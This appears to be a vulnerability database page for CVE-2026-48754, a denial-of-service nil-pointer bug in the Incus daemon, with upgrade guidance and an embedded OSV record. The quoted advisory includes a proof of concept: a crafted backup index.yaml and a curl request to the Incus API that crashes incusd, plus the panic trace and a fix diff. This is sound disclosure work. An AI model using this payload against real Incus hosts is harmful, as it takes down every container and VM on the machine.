CVE-2026-48754: Incus Nil-pointer Dereference Vulnerability
LOWCVE-2026-48754 is a LOW nil-pointer dereference vulnerability (CWE-476: NULL Pointer Dereference) affecting Incus libraries in the Go ecosystem. The issue involves nil-pointer dereference in createdependentvolumesfrombackup on disk.{volume,volumesnapshots,pool}. Remediation is available by upgrading affected packages to version 7.1.0.
CVE-2026-48754 at a Glance
How to Fix CVE-2026-48754
To remediate this vulnerability, upgrade all affected Incus dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
Upgrade github.com/lxc/incus/v7/cmd/incusd to 7.1.0
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
inspect dependencies for github.com/lxc/incus/v7/cmd/incusd
How to Check if You Are Affected
To determine whether your application is affected by CVE-2026-48754, inspect your project dependencies for Incus:
inspect dependencies for github.com/lxc/incus/v7/cmd/incusd
Analyze the terminal output to locate any version of Incus in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 7.1.0), your application is affected.
Note: Verify declared build manifests and deployed runtime container environments.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-476: NULL Pointer Dereference, where the product dereferences a pointer that it expects to be valid but is null. In Incus, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-48754 Affected Incus Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
github.com/lxc/incus/v7/cmd/incusd
|
Go |
< 7.1.0
|
7.1.0
|
References
Frequently Asked Questions
What is CVE-2026-48754?
Which Incus versions are affected?
What version fixes CVE-2026-48754?
Is github.com/lxc/incus/v7/cmd/incusd affected?
What CWE is associated with CVE-2026-48754?
How can I check Go dependencies for CVE-2026-48754?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-4xg6-52mh-fpw8",
"modified" : "2026-06-26T18:52:46Z",
"published" : "2026-06-26T18:52:46Z",
"aliases" : [ "CVE-2026-48754" ],
"summary" : "Incus: Nil-pointer dereference in createDependentVolumesFromBackup on disk.{Volume,VolumeSnapshots,Pool}",
"details" : "## Summary\n\n`(*backend).createDependentVolumesFromBackup` in [`internal/server/storage/backend.go`](https://github.com/lxc/incus/blob/d768f81c0a1d985f35ae56219519822b080bf5e3/internal/server/storage/backend.go) contains a cluster of unguarded pointer derefs on every dependent-volume entry's `VolumeSnapshots[i]`, `Volume`, and `Pool` sub-fields. An authenticated user with `can_create_instances` permission on any project can crash the `incusd` daemon by uploading an instance backup tarball whose `dependent_volumes[*]` block contains a nil snapshot pointer (or omits `volume:` / `pool:`).\n\nThis is a sibling-field variant of the 2026-05-04 batch fix `d768f81c0a1d985f35ae56219519822b080bf5e3` (\"Properly check dependent volumes on import\"). That commit added `if disk == nil` at the top of the outer loop, but did not guard the four sub-pointer fields the loop body dereferences naked.\n\n## Vulnerable code\n\n[`internal/server/storage/backend.go:9352-9412`](https://github.com/lxc/incus/blob/d768f81c0a1d985f35ae56219519822b080bf5e3/internal/server/storage/backend.go#L9352-L9412):\n\n```go\nfunc (b *backend) createDependentVolumesFromBackup(srcBackup backup.Info, ...) error {\n ...\n for _, disk := range srcBackup.Config.DependentVolumes {\n if disk == nil { // ← d768f81 parent fix\n return errors.New(\"Bad dependent volume definition found in index\")\n }\n ...\n snapshots := []string{}\n for _, snap := range disk.VolumeSnapshots {\n snapshots = append(snapshots, snap.Name) // ← I-2 trigger: snap may be nil\n }\n\n bInfo := backup.Info{\n Project: disk.Volume.Project, // ← disk.Volume may be nil\n Name: disk.Volume.Name,\n Backend: disk.Pool.Driver, // ← disk.Pool may be nil\n Pool: disk.Pool.Name,\n ...\n }\n ...\n devKey := fmt.Sprintf(\"%s/%s\", disk.Pool.Name, disk.Volume.Name)\n ...\n }\n}\n```\n\n`disk` has type `*config.Config` (declared in [`internal/server/backup/config/backup_config.go:8`](https://github.com/lxc/incus/blob/d768f81c0a1d985f35ae56219519822b080bf5e3/internal/server/backup/config/backup_config.go#L8)). Its `Volume` field is `*api.StorageVolume`, `Pool` is `*api.StoragePool`, `VolumeSnapshots` is `[]*api.StorageVolumeSnapshot` — all yaml `omitempty`. YAML omission decodes to nil for each.\n\nThe parent fix mental-modeled \"outer-iteration variable nil\"; it did not walk every sub-field deref inside the loop body. Direct asymmetric-guard variant.\n\n## Reach\n\n1. Attacker is an authenticated client with `can_create_instances` on any project. Same auth gate as GHSA-8g7m-96c8-8wwc / CVE-2026-47753.\n2. `POST /1.0/instances` with `Content-Type: application/octet-stream` and `X-Incus-name: <name>`.\n3. Body is a tar containing [`backup/index.yaml`](https://github.com/lxc/incus/blob/d768f81c0a1d985f35ae56219519822b080bf5e3/backup/index.yaml) whose `config:` block has a non-nil `container:` (passes `instances_post.go:854 if bInfo.Config == nil || bInfo.Config.Container == nil`) and a `dependent_volumes:` list with a malformed entry.\n4. Chain: `instancesPost` -> `createFromBackup:854` (Container guard passes) -> `pool.CreateInstanceFromBackup` -> `backend.go:782 b.createDependentVolumesFromBackup` -> `backend.go:9374 snap.Name` panics on the nil `*api.StorageVolumeSnapshot` element.\n5. `incusd` dies. Persistent DoS on repeat.\n\nMinimal [`backup/index.yaml`](https://github.com/lxc/incus/blob/d768f81c0a1d985f35ae56219519822b080bf5e3/backup/index.yaml) (used in the bundled PoC):\n\n```yaml\nname: poc-inst\nbackend: dir\npool: default\ntype: container\noptimized: false\noptimized_header: false\nsnapshots: []\nconfig:\n container:\n name: poc-inst\n architecture: x86_64\n type: container\n profiles: [\"default\"]\n config: {}\n devices: {}\n expanded_devices:\n depdisk: {type: disk, dependent: \"true\", pool: default, source: depvol, path: /data}\n expanded_config: {}\n dependent_volumes:\n - volume: {name: depvol, type: custom, content_type: filesystem, config: {}}\n pool: {name: default, driver: dir, config: {}}\n volume_snapshots:\n - ~ # explicit null entry → snap.Name at 9374 panics\n```\n\n(The container block must declare at least one device with `type: disk`, `dependent: \"true\"`, `pool != \"\"`, `path != \"/\"` to populate `devicesMap` and reach the second loop. Trivially satisfiable.)\n\nAn equivalent triggering YAML omits `volume:` or `pool:` from the dependent_volumes entry; in that case `disk.Volume.Project` at 9378 panics instead.\n\n## Proof of concept (end-to-end against running daemon)\n\nBundled in the report: `make_backup.sh` + 666-byte `poc-inst.tar.gz`.\n\nTested against `incus 7.0.0` (zabbly latest GA, build `1:0~ubuntu24.04~202605201355`) inside a privileged Ubuntu 24.04 container with default `dir` pool.\n\n```bash\n$ curl -s --unix-socket /var/lib/incus/unix.socket -X POST \\\n --data-binary @/tmp/poc-inst.tar.gz \\\n -H 'Content-Type: application/octet-stream' \\\n -H 'X-Incus-name: poc-inst' \\\n http://incus/1.0/instances\n{\"type\":\"async\",\"status\":\"Operation created\",\"status_code\":100,...}\n\n$ ps -ef | grep incusd | grep -v grep # process gone\n```\n\nDaemon panic:\n\n```\npanic: runtime error: invalid memory address or nil pointer dereference\n[signal SIGSEGV: segmentation violation code=0x1 addr=0x18 pc=0x163b7bc]\n\ngoroutine 257 [running]:\ngithub.com/lxc/incus/v7/internal/server/storage.(*backend).createDependentVolumesFromBackup(...)\n /build/incus/internal/server/storage/backend.go:9374 +0x42c\ngithub.com/lxc/incus/v7/internal/server/storage.(*backend).CreateInstanceFromBackup(...)\n /build/incus/internal/server/storage/backend.go:782 +0x660\nmain.createFromBackup.func8(...)\n /build/incus/cmd/incusd/instances_post.go:989 +0x2ac\ngithub.com/lxc/incus/v7/internal/server/operations.(*Operation).Start.func1(...)\n /build/incus/internal/server/operations/operations.go:307 +0x2c\n```\n\nStack frame [`backend.go:9374`](https://github.com/lxc/incus/blob/d768f81c0a1d985f35ae56219519822b080bf5e3/backend.go#L9374) is the literal `snap.Name` line.\n\n## Impact\n\n- **Severity:** denial of service against the entire `incusd` process. Every container / VM / storage operation on the host (and on the cluster member, if clustered) is aborted; subsequent requests fail until an operator restarts the process.\n- **Privileges required:** any authenticated user with `can_create_instances` on any project. Not behind the admin tier.\n- **Network attack surface:** the Incus REST API on `:8443` or the unix socket.\n- **CWE-476** — Nil-Pointer Dereference. **CVSS estimate:** 6.5 (AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H).\n- **Versions:** v7.0.0 confirmed. The `dependent_volumes` feature did not exist in v6.x, so the vulnerable code is v7-only.\n\n## Suggested fix\n\n```diff\n--- a/internal/server/storage/backend.go\n+++ b/internal/server/storage/backend.go\n@@ -9362,6 +9362,18 @@ func (b *backend) createDependentVolumesFromBackup(...) error {\n for _, disk := range srcBackup.Config.DependentVolumes {\n if disk == nil {\n return errors.New(\"Bad dependent volume definition found in index\")\n }\n+\n+ if disk.Volume == nil || disk.Pool == nil {\n+ return errors.New(\"Bad dependent volume definition: missing volume or pool\")\n+ }\n+\n+ for _, snap := range disk.VolumeSnapshots {\n+ if snap == nil {\n+ return errors.New(\"Bad dependent volume snapshot definition\")\n+ }\n+ }\n+\n optimizedStorage := srcBackup.OptimizedStorage\n optimizedHeader := srcBackup.OptimizedHeader\n\n snapshots := []string{}\n for _, snap := range disk.VolumeSnapshots {\n snapshots = append(snapshots, snap.Name)\n }\n```\n\n## Reporter notes\n\nReported via Privately-Reported Vulnerability against `lxc/incus` by tonghuaroot.",
"severity" : [ {
"type" : "CVSS_V4",
"score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:P"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "Go",
"name" : "github.com/lxc/incus/v7/cmd/incusd"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "7.1.0"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/lxc/incus/security/advisories/GHSA-4xg6-52mh-fpw8"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/lxc/incus"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-476" ],
"severity" : "LOW",
"github_reviewed" : true,
"github_reviewed_at" : "2026-06-26T18:52:46Z",
"nvd_published_at" : null
}
}